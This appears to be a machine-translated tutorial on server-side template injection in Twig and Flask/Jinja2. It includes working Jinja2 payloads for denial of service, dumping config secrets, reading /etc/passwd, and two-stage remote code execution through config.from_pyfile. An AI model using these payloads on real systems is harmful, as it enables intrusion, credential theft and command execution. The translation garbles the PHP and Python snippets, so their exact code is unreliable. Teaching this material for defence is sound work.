Service-side template injection 1, template injection principle
As the cause of common web injection, the server receives the user's input as part of the content of the Web Application template, executes the malicious content inserted by the user during the target compiling and rendering, and thus may lead to the disclosure of sensitive information, code execution, Getshell and other issues. The scope of the impact depends primarily on the complexity of the template engine.
<?PHPrequire_once dirname(__file__).‘ /.. /lib/twig/autoloader.php '; Twig_autoloader:: Register (true);$twig=NewTwig_environment (Newtwig_loader_string ());$output=$twig->render ("Hello {{name}}",Array("Name" =$_get["name"]));//use user input as the value of a template variableEcho $output;
Renders the page using the Twig template engine, where the template contains {{name}}
variables whose template variable values are derived from the GET request parameters $_GET["name"]
.
Obviously this code is not a problem, even if you want to pass a piece of name
JavaScript code to render to the server, you may think that this can be an XSS,
However, because the template engine typically encodes and escapes the rendered variable values by default, it does not cause cross-site scripting attacks:
However, if the rendered template content is controlled by the user, the situation is different. Modify the code to:
<? PHP require_once dirname (__file__). ' /.. /lib/twig/autoloader.php '; Twig_autoloader:: Register (true); $twig New Twig_environment (new twig_loader_string ()); $output $twig->render ("Hello {$_get[' Name ']}"); // use user input as part of template content Echo $output;
In contrast to the above two cases, simply say the formation of the service-side template injection after all, or because the server trust the user's output (Web Security truth: never trust the user's input !) )
For more details, please see the analysis of Rickgray's service-side template injection Attack (SSTI)
2. Ssti attacks on applications based on the FLASK/JINJA2 development stack
If the developer uses string formatting to dynamically add user input to the template string instead of render_template_string
passing the URL through the function into the template content:
1@app. ErrorHandler (404)2def page_not_found (E):3Template = ""{percent extends "layout.html" percent}4 {percent block body percent}5 <div class= "center-content error" >678</div>9{percent Endblock}Ten‘‘‘% (Request.url) Onereturn render_template_string (template), 404
Injection posture:
1), introspective request
object. request
object is a flask template global variable that represents the current request object ( flask.request
). When you access the request object in a view, it contains all the information you expect to see. request
There is an object called in the object environ
. request.environ
is a dictionary that contains objects related to the server environment. There is one method in the dictionary shutdown_server
, and the corresponding key value is werkzeug.server.shutdown
. So guess what happens when we inject it into the server {{ request.environ[‘werkzeug.server.shutdown‘]() }}
? Yes, it produces a low-level denial service. This method does not exist when you run the application using Gunicorn, so the vulnerability can be limited by the development environment.
2), introspective config
object. config
object is a flask template global variable that represents the current configuration object ( flask.config
). It is a dictionary-like object that contains all the configuration values for the application, including subclasses of several unique methods:,, from_envvar
from_object
from_pyfile
as well root_path
. In most cases, it contains sensitive information such as database connection strings, third-party service credentials, and so on SECRET_KEY
.
For newly loaded modules, the from_object
method adds those attributes that are all uppercase in the variable name to the config
object. {{ config.items() }}
These configurations can be easily viewed by injecting payload.
3), use very important introspection components: __mro__
and __subclasses__
properties.
__mro__
The MRO in is representative of the method parsing order, and is defined here as "a tuple containing a class, where the class is the class to consider when searching for the parent class during method parsing." __mro__
property to display the inheritance of an object in a tuple that contains a class, its parent class, the parent class of the parent class, and all the way up to object
(if you are using a modern Class). It is a meta-class property for each object, but it is a hidden property because Python explicitly removes it from the output when it is introspective dir
(see line 1812th of objects/object.c).
__subclasses__
Attributes are defined here as a method, "each new class retains a weak reference list of its immediate subclasses. This method returns the subclasses whose references also exist.
* * Use properties to access the __mro__
object's parent class, using __subclasses__
properties to access the object's subclasses.
4), {{ ‘‘.__class__.__mro__ }}
as a payload injected into the Ssti vulnerability point,
Use the index and select the object class. Now that we have reached the object class, we use __subclasses__
properties to dump all classes used in the application (find the index of the file class)
will be {{ ‘‘.__class__.__mro__[2].__subclasses__() }}
injected into the ssti vulnerability.
5), any file read PoC:
Class F is ile
able to instantiate a file object, and if we instantiate a file object, then we can use a similar read
method to read the relevant content.
Find the index of the file
class, in my environment The index of the <type ‘file‘>
class is 40, we inject {{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd‘).read() }}
.
So now we can prove that it is possible to read arbitrary files through the Ssti in FLASK/JINJA2.
6), the first code to execute the POC:
file
Class not only reads the file, but also writes the file to the writable path of the target server,
We then execute the POC call method through the Ssti vulnerability second code from_pyfile
to go to compile
the file and execute the contents of it. This is a two-time offense.
will be {{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘<malicious code here>‘‘) }}
injected into the Ssti vulnerability point,
The compilation process is then invoked through injection {{ config.from_pyfile(‘/tmp/owned.cfg‘) }}
. The code will be executed at compile time. This enables remote code execution.
7), the second code to execute the POC: make the best use of the from_pyfile
method.
will be {{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘from subprocess import check_output\n\nRUNCMD = check_output\n‘) }}
injected into the Ssti vulnerability point,
Inject {{ config.from_pyfile(‘/tmp/owned.cfg‘) }}
to add a new item to the Config object,
will be {{ config[‘RUNCMD‘](‘/usr/bin/id‘,shell=True) }}
injected into the Ssti vulnerability point.
For more details, see Larry's exploring SSTI in FLASK/JINJA2
Server-side template injection (Ssti attack)